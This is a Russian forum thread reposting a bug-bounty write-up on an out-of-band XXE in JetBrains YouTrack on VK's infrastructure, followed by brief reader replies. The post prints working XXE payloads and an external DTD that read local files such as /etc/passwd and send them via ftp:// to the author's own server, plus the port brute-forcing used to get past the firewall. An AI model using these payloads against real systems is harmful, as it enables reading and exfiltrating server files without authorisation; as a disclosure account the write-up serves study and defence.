Перейти к содержимому



Купить ссылку здесь
Фотография
- - - - -

Vk - история одного взлома

Форум ZiSMO.biz
9
Сообщений в теме: 9

ONLINE Отправлено

Maneuvers
группа пользователя

    LT-VK.RU ЗАХОДИ

  • Cообщений: 2 556
  • Друзей:3831
  • Поинты: 3 158
  • Предупреждений: 20
  • Онлайн:46д 3ч 44м
363
Привет! Видел запись про XXE с помощью RSS, которая позволяла читать файлы в vk? Так вот, буквально на следующий день появилась более интересная возможность читать произвольные файлы, да не абы-где, а на проектах внутренней инфраструктуры компании. Теперь обо всём по порядку.
Началось все с того, что после брута поддоменов, нашлись интересные экземпляры…
[attachment=72074:1.png]
 
Поддомены TeamCity, Upsource, YouTrack — это одноименные системы непрерывной интеграции, рецензирования кода и баг-трекер от компании JetBrains.
При попытке зайти на youtrack.vk.com — браузер ругался на невалидный сертификат, так как он принадлежит youtrack.vk-cdn.net. CDN так CDN — идем туда.
В целом, с найденными системами я ничего не смог сделать, подбор паролей не давал результатов, найденная XSS в YouTrack была трудноэксплуатируема (для старых IE).

 

Пришло время изучать API:

 

Для YouTrack нашлась отличная документация для REST API. Тыкая в нее палкой, нашёл только enumeration-баги. Например, перебирая различные варианты обращения к проектам и изучая аномалии ответов от сервера, можно узнать какую-нибудь информацию, например имена проектов. Затем, обращаясь к номерам, можно перебрать количество тикетов.
Например:
https://youtrack.vk-cdn.net/rest/issue/ololo/execute?comment=bo0om — вернет 404
https://youtrack.vk-cdn.net/rest/issue/API-252/execute?comment=bo0om — попросит ввести логин/пароль
https://youtrack.vk-cdn.net/rest/issue/API-1337/execute?comment=bo0om — вернет 404 (такого номера тикета нет)
Но и на этом далеко не уедешь! ??
Но вот интересный метод Import Users! С помощью PUT запроса можно передать XML:
PUT /rest/import/users?test=1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="lenin@mavzoley.su"/>
</list>
В качестве ответа  от сервера будет сообщение, что эта функция работает только для администратора веб-приложения ??
Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://xxe.bo0om.ru/xxe-test">
%xxe;
]>
<list></list>

Ко мне на сервер приходит запрос:

GET /xxe-test HTTP/1.1
HOST: xxe.bo0om.ru
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive

Всё становится интереснее  :)

 

Вот он - самый сок:

То, что используется java — это даёт нам огромное преимущество! Напомню крутую фичу в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.

 

Создал я файл, java.dtd:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

Сел слушать 21 порт (FTP), отправляю атакующий HTTP-пакет:

PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://xxe.bo0om.ru/java.dtd">
%xxe;
]>
<list></list>
Ииии… Ничего не происходит. Попробовал ещё разок — ничего.
Несколько раз перепроверил вектор — вроде все отлично. Сменил порт на 80 и 443 — пусто. Может FTP каким-то образом отключено и не поддерживается?
 

[attachment=72075:1.png]

 

Поставил dnschef. На самом деле это DNS сервер для выполнения MITM атак, но я его заюзал как мониторинг DNS запросов. Проверил — резолв доменного имени происходит. Значит отправка данных блокируется фаерволом (чуваки из vk знают магию iptables).
Начал перебирать порты. Долго-ли, коротко-ли брутились порты, и тут на сервер перелетает пакет…

 

 

Победа:

Опытным путем выяснилось, что наружу пускает порт 1935, а это уже фактически — победа. Конечный dtd выглядил так:

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

К сожалению, java была запущена не от суперпользователя (плак-плак), что очень часто бывает. Тем временем, я переместил java.dtd на домен defconrussia.ru и записал следующее видео:

 

Когда JetBrains узнали о уязвимости в их продукте, быстро зафиксили и сообщили где именно и какого типа уязвимость.
¯ \ _ (ツ) _ / ¯
А меня упомянуть забыли. Ну да ладно. Надеюсь, прочие 15k+ клиентов не пострадали.
[attachment=72076:1.png]
 
Прикольно, что попав в YouTrack я бы узнал обо всех багах и уязвимостях, которые есть вконтакте и в их проектах. Достав логины и пароли — получил бы доступ к другим проектам. Получил бы доступ к upsource — получил бы доступ к исходным кодам (инфа сотка)! Так я бы стал богатым и знаменитым, осталось бы только захватить мир — и жить станет неинтересно. Поэтому я так не делал, а сообщил о найденной уязвимости и даже получил за это деньги!
Какие делаем выводы?
Всё, что предназначено для внутренней инфраструктуры — оставляем внутри, в противном случае закрываем доступ из сети Интернет
Читаем документацию
Имеем силу воли, чтоб не посмотреть одним глазком чужие исходники

 





Ребята, кто побеждает, пишите что получили приз! Потому что написать можно всё что угодно, Администрация любит доказательства.

    • 1
  • Наверх
  • Ответить

OFFLINE Отправлено

Владислав Град 0
группа пользователя

    Нарушение статуса

  • Cообщений: 391
  • Поинты: 561
  • Предупреждений: 0
  • Онлайн:9д 9ч 23м
6

забыл в конце написать  - а потом я проснулся


    • 1
  • Наверх
  • Ответить

OFFLINE Отправлено

KreedMD
группа пользователя

    Новичок

  • Cообщений: 71
  • Друзей:1
  • Поинты: 3
  • Предупреждений: 50
0

Нормально 


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

Алексуров
группа пользователя

    Хочу стать Постоянным

  • Cообщений: 637
  • Друзей:20
  • Поинты: 241
  • Предупреждений: 0
  • Онлайн:21д 5ч 21м
15

Интересно. Попытка неплохая.


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

doktorrr123
группа пользователя

    Лучший бот для соц сетей: https://goo.gl/2jlQSy

  • Cообщений: 331
  • Поинты: 10
  • Предупреждений: 0
  • Онлайн:17д 8ч 20м
10

Мистер  Андерсон,  это вы? (rofl) 

bNvBJvb.gif

 


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

Надточий Влад
группа пользователя

    Пользователь

  • Cообщений: 693
  • Друзей:11
  • Поинты: 4
  • Предупреждений: 0
  • Онлайн:18д 18ч 19м
-7

друг не ломай ВК - я там каждый день сижу :(


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

FGMA
группа пользователя

    fgma.ru - акки vk, insta, купоны

  • Cообщений: 8 855
  • Друзей:53
  • Поинты: 10 660
  • Предупреждений: 10
  • Онлайн:40д 4ч 40м
511

Прочитал с интересом, жаль мало понимаю в этом..


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

heroverin
группа пользователя

    https://heroverin.ru/

  • Cообщений: 362
  • Друзей:73
  • Поинты: 5
  • Предупреждений: 50
2

норм


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

XaKeR_xD
группа пользователя

    Пользователь

  • Cообщений: 952
  • Поинты: 51
  • Предупреждений: 0
  • Онлайн:18д 16ч 42м
22

Неопытным в данной сфере тяжело будет понять)

А так, спасибо за инфу)


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

RobertBrent
группа пользователя

    Пользователь

  • Cообщений: 284
  • Друзей:13
  • Поинты: 22
  • Предупреждений: 0
  • Онлайн:5д 14ч 54м
2

с меня лайк


    • 0
  • Наверх
  • Ответить



Напишите свое сообщение